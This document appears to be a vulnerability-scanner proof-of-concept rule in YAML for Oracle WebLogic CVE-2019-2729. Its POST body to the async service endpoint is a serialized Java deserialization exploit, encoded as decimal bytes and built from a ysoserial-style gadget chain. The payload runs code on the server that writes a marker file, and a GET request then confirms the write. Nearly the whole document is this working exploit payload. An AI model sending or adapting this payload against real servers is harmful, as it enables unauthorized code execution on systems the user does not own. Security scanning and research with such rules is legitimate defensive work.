name: poc-yaml-weblogic-cve-2019-2729-2 rules: - method: POST path: /_async/AsyncResponseService headers: Content-Type: text/xml cmd: whoami body: |- xx xx oracle.toplink.internal.sessions.UnitOfWorkChangeSet -84 -19 0 5 115 114 0 23 106 97 118 97 46 117 116 105 108 46 76 105 110 107 101 100 72 97 115 104 83 101 116 -40 108 -41 90 -107 -35 42 30 2 0 0 120 114 0 17 106 97 118 97 46 117 116 105 108 46 72 97 115 104 83 101 116 -70 68 -123 -107 -106 -72 -73 52 3 0 0 120 112 119 12 0 0 0 16 63 64 0 0 0 0 0 2 115 114 0 58 99 111 109 46 115 117 110 46 111 114 103 46 97 112 97 99 104 101 46 120 97 108 97 110 46 105 110 116 101 114 110 97 108 46 120 115 108 116 99 46 116 114 97 120 46 84 101 109 112 108 97 116 101 115 73 109 112 108 9 87 79 -63 110 -84 -85 51 3 0 6 73 0 13 95 105 110 100 101 110 116 78 117 109 98 101 114 73 0 14 95 116 114 97 110 115 108 101 116 73 110 100 101 120 91 0 10 95 98 121 116 101 99 111 100 101 115 116 0 3 91 91 66 91 0 6 95 99 108 97 115 115 116 0 18 91 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 59 76 0 5 95 110 97 109 101 116 0 18 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 76 0 17 95 111 117 116 112 117 116 80 114 111 112 101 114 116 105 101 115 116 0 22 76 106 97 118 97 47 117 116 105 108 47 80 114 111 112 101 114 116 105 101 115 59 120 112 0 0 0 0 -1 -1 -1 -1 117 114 0 3 91 91 66 75 -3 25 21 103 103 -37 55 2 0 0 120 112 0 0 0 2 117 114 0 2 91 66 -84 -13 23 -8 6 8 84 -32 2 0 0 120 112 0 0 8 -82 -54 -2 -70 -66 0 0 0 50 0 99 10 0 3 0 34 7 0 97 7 0 37 7 0 38 1 0 16 115 101 114 105 97 108 86 101 114 115 105 111 110 85 73 68 1 0 1 74 1 0 13 67 111 110 115 116 97 110 116 86 97 108 117 101 5 -83 32 -109 -13 -111 -35 -17 62 1 0 6 60 105 110 105 116 62 1 0 3 40 41 86 1 0 4 67 111 100 101 1 0 15 76 105 110 101 78 117 109 98 101 114 84 97 98 108 101 1 0 18 76 111 99 97 108 86 97 114 105 97 98 108 101 84 97 98 108 101 1 0 4 116 104 105 115 1 0 19 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 1 0 12 73 110 110 101 114 67 108 97 115 115 101 115 1 0 53 76 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 59 1 0 9 116 114 97 110 115 102 111 114 109 1 0 114 40 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 91 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 41 86 1 0 8 100 111 99 117 109 101 110 116 1 0 45 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 1 0 8 104 97 110 100 108 101 114 115 1 0 66 91 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 1 0 10 69 120 99 101 112 116 105 111 110 115 7 0 39 1 0 -90 40 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 100 116 109 47 68 84 77 65 120 105 115 73 116 101 114 97 116 111 114 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 41 86 1 0 8 105 116 101 114 97 116 111 114 1 0 53 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 100 116 109 47 68 84 77 65 120 105 115 73 116 101 114 97 116 111 114 59 1 0 7 104 97 110 100 108 101 114 1 0 65 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 1 0 10 83 111 117 114 99 101 70 105 108 101 1 0 12 71 97 100 103 101 116 115 46 106 97 118 97 12 0 10 0 11 7 0 40 1 0 51 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 1 0 64 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 114 117 110 116 105 109 101 47 65 98 115 116 114 97 99 116 84 114 97 110 115 108 101 116 1 0 20 106 97 118 97 47 105 111 47 83 101 114 105 97 108 105 122 97 98 108 101 1 0 57 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 84 114 97 110 115 108 101 116 69 120 99 101 112 116 105 111 110 1 0 31 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 1 0 8 60 99 108 105 110 105 116 62 1 0 18 106 97 118 97 47 105 111 47 70 105 108 101 87 114 105 116 101 114 7 0 42 1 0 22 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 66 117 102 102 101 114 7 0 44 10 0 45 0 34 1 0 16 106 97 118 97 47 108 97 110 103 47 84 104 114 101 97 100 7 0 47 1 0 13 99 117 114 114 101 110 116 84 104 114 101 97 100 1 0 20 40 41 76 106 97 118 97 47 108 97 110 103 47 84 104 114 101 97 100 59 12 0 49 0 50 10 0 48 0 51 1 0 21 103 101 116 67 111 110 116 101 120 116 67 108 97 115 115 76 111 97 100 101 114 1 0 25 40 41 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 76 111 97 100 101 114 59 12 0 53 0 54 10 0 48 0 55 1 0 1 47 8 0 57 1 0 21 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 76 111 97 100 101 114 7 0 59 1 0 11 103 101 116 82 101 115 111 117 114 99 101 1 0 34 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 110 101 116 47 85 82 76 59 12 0 61 0 62 10 0 60 0 63 1 0 12 106 97 118 97 47 110 101 116 47 85 82 76 7 0 65 1 0 7 103 101 116 80 97 116 104 1 0 20 40 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 12 0 67 0 68 10 0 66 0 69 1 0 6 97 112 112 101 110 100 1 0 44 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 66 117 102 102 101 114 59 12 0 71 0 72 10 0 45 0 73 1 0 17 46 46 47 46 46 47 102 97 118 105 99 111 110 46 105 99 111 8 0 75 1 0 8 116 111 83 116 114 105 110 103 12 0 77 0 68 10 0 45 0 78 1 0 21 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 86 12 0 10 0 80 10 0 43 0 81 1 0 16 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 7 0 83 1 0 10 86 117 108 110 101 114 97 98 108 101 8 0 85 10 0 84 0 81 1 0 14 106 97 118 97 47 105 111 47 87 114 105 116 101 114 7 0 88 1 0 42 40 76 106 97 118 97 47 108 97 110 103 47 67 104 97 114 83 101 113 117 101 110 99 101 59 41 76 106 97 118 97 47 105 111 47 87 114 105 116 101 114 59 12 0 71 0 90 10 0 89 0 91 1 0 5 102 108 117 115 104 12 0 93 0 11 10 0 89 0 94 1 0 13 83 116 97 99 107 77 97 112 84 97 98 108 101 1 0 30 121 115 111 115 101 114 105 97 108 47 80 119 110 101 114 51 57 56 52 50 51 48 50 48 50 52 51 53 48 51 1 0 32 76 121 115 111 115 101 114 105 97 108 47 80 119 110 101 114 51 57 56 52 50 51 48 50 48 50 52 51 53 48 51 59 0 33 0 2 0 3 0 1 0 4 0 1 0 26 0 5 0 6 0 1 0 7 0 0 0 2 0 8 0 4 0 1 0 10 0 11 0 1 0 12 0 0 0 47 0 1 0 1 0 0 0 5 42 -73 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 41 0 14 0 0 0 12 0 1 0 0 0 5 0 15 0 98 0 0 0 1 0 19 0 20 0 2 0 12 0 0 0 63 0 0 0 3 0 0 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 46 0 14 0 0 0 32 0 3 0 0 0 1 0 15 0 98 0 0 0 0 0 1 0 21 0 22 0 1 0 0 0 1 0 23 0 24 0 2 0 25 0 0 0 4 0 1 0 26 0 1 0 19 0 27 0 2 0 12 0 0 0 73 0 0 0 4 0 0 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 50 0 14 0 0 0 42 0 4 0 0 0 1 0 15 0 98 0 0 0 0 0 1 0 21 0 22 0 1 0 0 0 1 0 28 0 29 0 2 0 0 0 1 0 30 0 31 0 3 0 25 0 0 0 4 0 1 0 26 0 8 0 41 0 11 0 1 0 12 0 0 0 81 0 6 0 2 0 0 0 60 -89 0 3 1 76 -69 0 43 89 -69 0 45 89 -73 0 46 -72 0 52 -74 0 56 18 58 -74 0 64 -74 0 70 -74 0 74 18 76 -74 0 74 -74 0 79 -73 0 82 -69 0 84 89 18 86 -73 0 87 -74 0 92 -74 0 95 -79 0 0 0 1 0 96 0 0 0 3 0 1 3 0 2 0 32 0 0 0 2 0 33 0 17 0 0 0 10 0 1 0 2 0 35 0 16 0 9 117 113 0 126 0 11 0 0 1 -44 -54 -2 -70 -66 0 0 0 50 0 27 10 0 3 0 21 7 0 23 7 0 24 7 0 25 1 0 16 115 101 114 105 97 108 86 101 114 115 105 111 110 85 73 68 1 0 1 74 1 0 13 67 111 110 115 116 97 110 116 86 97 108 117 101 5 113 -26 105 -18 60 109 71 24 1 0 6 60 105 110 105 116 62 1 0 3 40 41 86 1 0 4 67 111 100 101 1 0 15 76 105 110 101 78 117 109 98 101 114 84 97 98 108 101 1 0 18 76 111 99 97 108 86 97 114 105 97 98 108 101 84 97 98 108 101 1 0 4 116 104 105 115 1 0 3 70 111 111 1 0 12 73 110 110 101 114 67 108 97 115 115 101 115 1 0 37 76 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 70 111 111 59 1 0 10 83 111 117 114 99 101 70 105 108 101 1 0 12 71 97 100 103 101 116 115 46 106 97 118 97 12 0 10 0 11 7 0 26 1 0 35 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 70 111 111 1 0 16 106 97 118 97 47 108 97 110 103 47 79 98 106 101 99 116 1 0 20 106 97 118 97 47 105 111 47 83 101 114 105 97 108 105 122 97 98 108 101 1 0 31 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 0 33 0 2 0 3 0 1 0 4 0 1 0 26 0 5 0 6 0 1 0 7 0 0 0 2 0 8 0 1 0 1 0 10 0 11 0 1 0 12 0 0 0 47 0 1 0 1 0 0 0 5 42 -73 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 54 0 14 0 0 0 12 0 1 0 0 0 5 0 15 0 18 0 0 0 2 0 19 0 0 0 2 0 20 0 17 0 0 0 10 0 1 0 2 0 22 0 16 0 9 112 116 0 4 80 119 110 114 112 119 1 0 120 115 125 0 0 0 1 0 29 106 97 118 97 120 46 120 109 108 46 116 114 97 110 115 102 111 114 109 46 84 101 109 112 108 97 116 101 115 120 114 0 23 106 97 118 97 46 108 97 110 103 46 114 101 102 108 101 99 116 46 80 114 111 120 121 -31 39 -38 32 -52 16 67 -53 2 0 1 76 0 1 104 116 0 37 76 106 97 118 97 47 108 97 110 103 47 114 101 102 108 101 99 116 47 73 110 118 111 99 97 116 105 111 110 72 97 110 100 108 101 114 59 120 112 115 114 0 50 115 117 110 46 114 101 102 108 101 99 116 46 97 110 110 111 116 97 116 105 111 110 46 65 110 110 111 116 97 116 105 111 110 73 110 118 111 99 97 116 105 111 110 72 97 110 100 108 101 114 85 -54 -11 15 21 -53 126 -91 2 0 2 76 0 12 109 101 109 98 101 114 86 97 108 117 101 115 116 0 15 76 106 97 118 97 47 117 116 105 108 47 77 97 112 59 76 0 4 116 121 112 101 116 0 17 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 59 120 112 115 114 0 17 106 97 118 97 46 117 116 105 108 46 72 97 115 104 77 97 112 5 7 -38 -63 -61 22 96 -47 3 0 2 70 0 10 108 111 97 100 70 97 99 116 111 114 73 0 9 116 104 114 101 115 104 111 108 100 120 112 63 64 0 0 0 0 0 12 119 8 0 0 0 16 0 0 0 1 116 0 8 102 53 97 53 97 54 48 56 113 0 126 0 8 120 118 114 0 29 106 97 118 97 120 46 120 109 108 46 116 114 97 110 115 102 111 114 109 46 84 101 109 112 108 97 116 101 115 0 0 0 0 0 0 0 0 0 0 0 120 112 120 follow_redirects: false expression: 'response.status == 202' - method: GET path: /_async/favicon.ico follow_redirects: false expression: 'response.status == 200 && response.body.bcontains(b"Vulnerable")'